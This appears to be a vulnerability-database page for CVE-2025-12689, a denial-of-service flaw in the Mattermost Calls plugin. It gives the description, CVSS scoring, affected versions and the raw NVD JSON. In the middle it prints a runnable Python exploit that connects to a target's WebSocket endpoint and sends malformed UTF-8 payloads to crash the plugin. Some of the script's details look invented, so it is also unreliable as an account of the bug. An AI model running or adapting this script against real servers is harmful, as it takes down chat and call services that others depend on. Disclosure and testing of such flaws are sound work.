Security Vulnerability Report
中文
CVE-2025-12689 CVSS 6.5 MEDIUM

CVE-2025-12689

Published: 2025-12-17 19:16:01
Last Modified: 2025-12-29 18:44:34

Description

Mattermost versions 11.0.x <= 11.0.4, 10.12.x <= 10.12.2, 10.11.x <= 10.11.6 fail to check WebSocket request field for proper UTF-8 format, which allows attacker to crash Calls plug-in via sending malformed request.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:* - VULNERABLE
Mattermost 11.0.x <= 11.0.4
Mattermost 10.12.x <= 10.12.2
Mattermost 10.11.x <= 10.11.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-12689 PoC - Mattermost Calls Plugin WebSocket UTF-8 DoS Note: This is a demonstration PoC for educational purposes only. """ import asyncio import websockets import json import sys async def exploit_cve_2025_12689(target_url, room_id): """ Exploit CVE-2025-12689 by sending malformed UTF-8 WebSocket requests to crash the Mattermost Calls plugin. """ ws_url = target_url.replace('http', 'ws') + '/calls/ws' # Malformed UTF-8 sequences that can trigger parsing errors malformed_utf8_payloads = [ # Incomplete multi-byte sequence b'\xc0\x80', # Overlong encoding of NUL # Invalid continuation byte b'hello\xc0world', # Truncated sequence b'test\xe2\x82', # Missing third byte # Overlong encoding b'\xf0\x80\x80\x80', # Overlong encoding of NUL # Invalid surrogate b'\xed\xa0\x80\xed\xb0\x80', # Invalid surrogate pairs # BOM in wrong position b'\xbf\xfe\xff', # Invalid UTF-8 BOM combinations ] headers = { 'Channel-Id': room_id, 'User-Id': 'exploit-user', } try: async with websockets.connect(ws_url, extra_headers=headers) as ws: print(f"[+] Connected to {ws_url}") for i, payload in enumerate(malformed_utf8_payloads): print(f"[*] Sending malformed payload {i+1}/{len(malformed_utf8_payloads)}") await ws.send(payload) # Wait briefly for potential crash await asyncio.sleep(0.5) # Check if connection is still alive try: response = await asyncio.wait_for(ws.recv(), timeout=2) print(f"[+] Received response: {response}") except asyncio.TimeoutError: print(f"[!] No response received - plugin may be unresponsive") except Exception as e: print(f"[!] Connection error: {e}") print(f"[+] Potential successful DoS exploit!") return True except Exception as e: print(f"[-] Error: {e}") return False return False if __name__ == '__main__': if len(sys.argv) < 3: print(f"Usage: {sys.argv[0]} <target_url> <room_id>") print(f"Example: {sys.argv[0]} https://mattermost.example.com abc123") sys.exit(1) target = sys.argv[1] room = sys.argv[2] print(f"[*] Starting CVE-2025-12689 exploit test") result = asyncio.run(exploit_cve_2025_12689(target, room)) if result: print("[+] Exploit completed - target may be vulnerable") else: print("[-] Exploit did not succeed")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12689", "sourceIdentifier": "[email protected]", "published": "2025-12-17T19:16:00.537", "lastModified": "2025-12-29T18:44:33.540", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Mattermost versions 11.0.x <= 11.0.4, 10.12.x <= 10.12.2, 10.11.x <= 10.11.6 fail to check WebSocket request field for proper UTF-8 format, which allows attacker to crash Calls plug-in via sending malformed request."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1287"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.11.0", "versionEndExcluding": "10.11.7", "matchCriteriaId": "EB4AD9AE-B2DB-4D49-87AD-FA5F9CE6A0C8"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.12.0", "versionEndExcluding": "10.12.3", "matchCriteriaId": "DD0ED714-56F9-4C84-B84D-3BF658940568"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.0.0", "versionEndExcluding": "11.0.5", "matchCriteriaId": "6130B691-5017-418D-A28A-84A83AA2496C"}]}]}], "references": [{"url": "https://mattermost.com/security-updates", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}